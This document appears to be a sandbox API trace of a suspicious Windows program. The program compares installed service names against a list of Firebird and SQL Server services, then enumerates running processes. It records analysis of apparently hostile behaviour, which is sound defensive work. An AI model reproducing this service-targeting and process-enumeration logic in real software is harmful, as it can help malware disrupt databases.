(lpString1="mssqlserver", lpString2="LanmanWorkstation") returned 1 [0134.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LanmanWorkstation") returned 1 [0134.553] lstrlenW (lpString="lfsvc") returned 5 [0134.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lfsvc") returned -1 [0134.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lfsvc") returned -1 [0134.553] lstrcmpiW (lpString1="sqlwriter", lpString2="lfsvc") returned 1 [0134.553] lstrcmpiW (lpString1="mssqlserver", lpString2="lfsvc") returned 1 [0134.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lfsvc") returned 1 [0134.553] lstrlenW (lpString="lmhosts") returned 7 [0134.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="lmhosts") returned -1 [0134.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="lmhosts") returned -1 [0134.553] lstrcmpiW (lpString1="sqlwriter", lpString2="lmhosts") returned 1 [0134.553] lstrcmpiW (lpString1="mssqlserver", lpString2="lmhosts") returned 1 [0134.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="lmhosts") returned 1 [0134.553] lstrlenW (lpString="LSM") returned 3 [0134.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="LSM") returned -1 [0134.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="LSM") returned -1 [0134.553] lstrcmpiW (lpString1="sqlwriter", lpString2="LSM") returned 1 [0134.553] lstrcmpiW (lpString1="mssqlserver", lpString2="LSM") returned 1 [0134.553] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="LSM") returned 1 [0134.553] lstrlenW (lpString="MapsBroker") returned 10 [0134.553] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MapsBroker") returned -1 [0134.553] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MapsBroker") returned -1 [0134.554] lstrcmpiW (lpString1="sqlwriter", lpString2="MapsBroker") returned 1 [0134.554] lstrcmpiW (lpString1="mssqlserver", lpString2="MapsBroker") returned 1 [0134.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MapsBroker") returned 1 [0134.554] lstrlenW (lpString="MpsSvc") returned 6 [0134.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="MpsSvc") returned -1 [0134.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="MpsSvc") returned -1 [0134.554] lstrcmpiW (lpString1="sqlwriter", lpString2="MpsSvc") returned 1 [0134.554] lstrcmpiW (lpString1="mssqlserver", lpString2="MpsSvc") returned 1 [0134.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="MpsSvc") returned 1 [0134.554] lstrlenW (lpString="NcbService") returned 10 [0134.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NcbService") returned -1 [0134.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NcbService") returned -1 [0134.554] lstrcmpiW (lpString1="sqlwriter", lpString2="NcbService") returned 1 [0134.554] lstrcmpiW (lpString1="mssqlserver", lpString2="NcbService") returned -1 [0134.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NcbService") returned 1 [0134.554] lstrlenW (lpString="netprofm") returned 8 [0134.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="netprofm") returned -1 [0134.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="netprofm") returned -1 [0134.554] lstrcmpiW (lpString1="sqlwriter", lpString2="netprofm") returned 1 [0134.554] lstrcmpiW (lpString1="mssqlserver", lpString2="netprofm") returned -1 [0134.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="netprofm") returned 1 [0134.554] lstrlenW (lpString="NlaSvc") returned 6 [0134.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="NlaSvc") returned -1 [0134.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="NlaSvc") returned -1 [0134.554] lstrcmpiW (lpString1="sqlwriter", lpString2="NlaSvc") returned 1 [0134.554] lstrcmpiW (lpString1="mssqlserver", lpString2="NlaSvc") returned -1 [0134.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="NlaSvc") returned 1 [0134.554] lstrlenW (lpString="nsi") returned 3 [0134.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="nsi") returned -1 [0134.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="nsi") returned -1 [0134.554] lstrcmpiW (lpString1="sqlwriter", lpString2="nsi") returned 1 [0134.554] lstrcmpiW (lpString1="mssqlserver", lpString2="nsi") returned -1 [0134.554] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="nsi") returned 1 [0134.554] lstrlenW (lpString="PcaSvc") returned 6 [0134.554] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PcaSvc") returned -1 [0134.554] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PcaSvc") returned -1 [0134.555] lstrcmpiW (lpString1="sqlwriter", lpString2="PcaSvc") returned 1 [0134.555] lstrcmpiW (lpString1="mssqlserver", lpString2="PcaSvc") returned -1 [0134.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PcaSvc") returned 1 [0134.555] lstrlenW (lpString="PlugPlay") returned 8 [0134.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="PlugPlay") returned -1 [0134.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="PlugPlay") returned -1 [0134.555] lstrcmpiW (lpString1="sqlwriter", lpString2="PlugPlay") returned 1 [0134.555] lstrcmpiW (lpString1="mssqlserver", lpString2="PlugPlay") returned -1 [0134.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="PlugPlay") returned 1 [0134.555] lstrlenW (lpString="Power") returned 5 [0134.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Power") returned -1 [0134.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Power") returned -1 [0134.555] lstrcmpiW (lpString1="sqlwriter", lpString2="Power") returned 1 [0134.555] lstrcmpiW (lpString1="mssqlserver", lpString2="Power") returned -1 [0134.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Power") returned 1 [0134.555] lstrlenW (lpString="ProfSvc") returned 7 [0134.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ProfSvc") returned -1 [0134.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ProfSvc") returned -1 [0134.555] lstrcmpiW (lpString1="sqlwriter", lpString2="ProfSvc") returned 1 [0134.555] lstrcmpiW (lpString1="mssqlserver", lpString2="ProfSvc") returned -1 [0134.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ProfSvc") returned 1 [0134.555] lstrlenW (lpString="RpcEptMapper") returned 12 [0134.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcEptMapper") returned -1 [0134.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcEptMapper") returned -1 [0134.555] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcEptMapper") returned 1 [0134.555] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcEptMapper") returned -1 [0134.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcEptMapper") returned 1 [0134.555] lstrlenW (lpString="RpcSs") returned 5 [0134.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="RpcSs") returned -1 [0134.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="RpcSs") returned -1 [0134.555] lstrcmpiW (lpString1="sqlwriter", lpString2="RpcSs") returned 1 [0134.555] lstrcmpiW (lpString1="mssqlserver", lpString2="RpcSs") returned -1 [0134.555] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="RpcSs") returned 1 [0134.555] lstrlenW (lpString="SamSs") returned 5 [0134.555] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SamSs") returned -1 [0134.555] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SamSs") returned -1 [0134.556] lstrcmpiW (lpString1="sqlwriter", lpString2="SamSs") returned 1 [0134.556] lstrcmpiW (lpString1="mssqlserver", lpString2="SamSs") returned -1 [0134.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SamSs") returned 1 [0134.556] lstrlenW (lpString="Schedule") returned 8 [0134.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Schedule") returned -1 [0134.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Schedule") returned -1 [0134.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Schedule") returned 1 [0134.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Schedule") returned -1 [0134.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Schedule") returned 1 [0134.556] lstrlenW (lpString="SecurityHealthService") returned 21 [0134.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SecurityHealthService") returned -1 [0134.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SecurityHealthService") returned -1 [0134.556] lstrcmpiW (lpString1="sqlwriter", lpString2="SecurityHealthService") returned 1 [0134.556] lstrcmpiW (lpString1="mssqlserver", lpString2="SecurityHealthService") returned -1 [0134.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SecurityHealthService") returned 1 [0134.556] lstrlenW (lpString="SENS") returned 4 [0134.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SENS") returned -1 [0134.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SENS") returned -1 [0134.556] lstrcmpiW (lpString1="sqlwriter", lpString2="SENS") returned 1 [0134.556] lstrcmpiW (lpString1="mssqlserver", lpString2="SENS") returned -1 [0134.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SENS") returned 1 [0134.556] lstrlenW (lpString="ShellHWDetection") returned 16 [0134.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="ShellHWDetection") returned -1 [0134.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="ShellHWDetection") returned -1 [0134.556] lstrcmpiW (lpString1="sqlwriter", lpString2="ShellHWDetection") returned 1 [0134.556] lstrcmpiW (lpString1="mssqlserver", lpString2="ShellHWDetection") returned -1 [0134.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="ShellHWDetection") returned 1 [0134.556] lstrlenW (lpString="Spooler") returned 7 [0134.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="Spooler") returned -1 [0134.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="Spooler") returned -1 [0134.556] lstrcmpiW (lpString1="sqlwriter", lpString2="Spooler") returned 1 [0134.556] lstrcmpiW (lpString1="mssqlserver", lpString2="Spooler") returned -1 [0134.556] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="Spooler") returned 1 [0134.556] lstrlenW (lpString="SSDPSRV") returned 7 [0134.556] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SSDPSRV") returned -1 [0134.556] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SSDPSRV") returned -1 [0134.557] lstrcmpiW (lpString1="sqlwriter", lpString2="SSDPSRV") returned -1 [0134.557] lstrcmpiW (lpString1="mssqlserver", lpString2="SSDPSRV") returned -1 [0134.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="SSDPSRV") returned -1 [0134.557] lstrlenW (lpString="StateRepository") returned 15 [0134.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="StateRepository") returned -1 [0134.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="StateRepository") returned -1 [0134.557] lstrcmpiW (lpString1="sqlwriter", lpString2="StateRepository") returned -1 [0134.557] lstrcmpiW (lpString1="mssqlserver", lpString2="StateRepository") returned -1 [0134.557] lstrcmpiW (lpString1="sqlserveradhelper", lpString2="StateRepository") returned -1 [0134.557] lstrlenW (lpString="SysMain") returned 7 [0134.557] lstrcmpiW (lpString1="FirebirdGuardianDefaultInstance", lpString2="SysMain") returned -1 [0134.557] lstrcmpiW (lpString1="FirebirdServerDefaultInstance", lpString2="SysMain") returned -1 [0134.557] lstrcmpiW (lpString1="sqlwriter", lpString2="SysMain") returned -1 [0134.557] lstrcmpiW (lpString1="mssqlserver", lpString2="SysMain") returned -1 [0134.557] HeapFree (in: hHeap=0x5a0000, dwFlags=0x0, lpMem=0x69bb60 | out: hHeap=0x5a0000) returned 1 [0134.557] CreateToolhelp32Snapshot (dwFlags=0x2, th32ProcessID=0x0) returned 0x10a0 [0134.562] Process32FirstW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x0, pcPriClassBase=0, dwFlags=0x0, szExeFile="[System Process]")) returned 1 [0134.562] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6c, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0134.563] lstrlenW (lpString="System") returned 6 [0134.563] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x144, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0134.564] lstrlenW (lpString="smss.exe") returned 8 [0134.564] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x19c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.564] lstrlenW (lpString="csrss.exe") returned 9 [0134.564] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x194, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0134.565] lstrlenW (lpString="wininit.exe") returned 11 [0134.565] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x1f8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0134.566] lstrlenW (lpString="csrss.exe") returned 9 [0134.566] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x234, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x6, th32ParentProcessID=0x1e4, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0134.566] lstrlenW (lpString="winlogon.exe") returned 12 [0134.566] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x250, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0134.567] lstrlenW (lpString="services.exe") returned 12 [0134.567] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x258, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x1ec, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0134.568] lstrlenW (lpString="lsass.exe") returned 9 [0134.568] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.569] lstrlenW (lpString="svchost.exe") returned 11 [0134.569] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x234, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0134.569] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0134.569] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x2c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x1ec, pcPriClassBase=8, dwFlags=0x0, szExeFile="fontdrvhost.exe")) returned 1 [0134.570] lstrlenW (lpString="fontdrvhost.exe") returned 15 [0134.570] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x318, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.571] lstrlenW (lpString="svchost.exe") returned 11 [0134.571] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x374, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x234, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0134.572] lstrlenW (lpString="dwm.exe") returned 7 [0134.572] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5d, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.573] lstrlenW (lpString="svchost.exe") returned 11 [0134.573] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3d0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.573] lstrlenW (lpString="svchost.exe") returned 11 [0134.573] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.574] lstrlenW (lpString="svchost.exe") returned 11 [0134.574] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x12c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.575] lstrlenW (lpString="svchost.exe") returned 11 [0134.575] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x170, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x25, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.575] lstrlenW (lpString="svchost.exe") returned 11 [0134.575] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x480, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.576] lstrlenW (lpString="svchost.exe") returned 11 [0134.576] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x4fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.577] lstrlenW (lpString="svchost.exe") returned 11 [0134.577] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x530, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.577] lstrlenW (lpString="svchost.exe") returned 11 [0134.577] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x538, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.578] lstrlenW (lpString="svchost.exe") returned 11 [0134.578] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5c4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0134.579] lstrlenW (lpString="spoolsv.exe") returned 11 [0134.579] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x5f0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.580] lstrlenW (lpString="svchost.exe") returned 11 [0134.580] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x684, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.581] lstrlenW (lpString="svchost.exe") returned 11 [0134.581] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6a4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x4fc, pcPriClassBase=8, dwFlags=0x0, szExeFile="audiodg.exe")) returned 1 [0134.582] lstrlenW (lpString="audiodg.exe") returned 11 [0134.582] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x6fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xf, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0134.582] lstrlenW (lpString="sihost.exe") returned 10 [0134.582] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x718, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0134.583] lstrlenW (lpString="svchost.exe") returned 11 [0134.583] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7ac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0134.584] lstrlenW (lpString="taskhostw.exe") returned 13 [0134.584] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x7f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x14, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="OfficeClickToRun.exe")) returned 1 [0134.584] lstrlenW (lpString="OfficeClickToRun.exe") returned 20 [0134.585] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x55c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x250, pcPriClassBase=8, dwFlags=0x0, szExeFile="SecurityHealthService.exe")) returned 1 [0134.585] lstrlenW (lpString="SecurityHealthService.exe") returned 25 [0134.585] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x860, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x3b, th32ParentProcessID=0x834, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0134.586] lstrlenW (lpString="explorer.exe") returned 12 [0134.586] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0x8bc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xe, th32ParentProcessID=0x4, pcPriClassBase=8, dwFlags=0x0, szExeFile="Memory Compression")) returned 1 [0134.587] lstrlenW (lpString="Memory Compression") returned 18 [0134.587] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1b, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0134.587] lstrlenW (lpString="ShellExperienceHost.exe") returned 23 [0134.587] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xb58, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0134.588] lstrlenW (lpString="SearchUI.exe") returned 12 [0134.588] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xbf4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0134.589] lstrlenW (lpString="RuntimeBroker.exe") returned 17 [0134.589] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xe04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x2b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0134.589] lstrlenW (lpString="WmiPrvSE.exe") returned 12 [0134.589] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xf2c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x3c0, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0134.604] lstrlenW (lpString="taskhostw.exe") returned 13 [0134.604] Process32NextW (in: hSnapshot=0x10a0, lppe=0x8cefd2c | out: lppe=0x8cefd2c*(dwSize=0x22c, cntUsage=0x0, th32ProcessID=0xfbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x5, th32ParentProcessID=0x3c0, pcPriClassBase=6, dwFlags=0x0, szExeFile="UsoClient.exe")) returned 1 [0134.605] lstrlenW (lpString="UsoClient.exe") returned 13 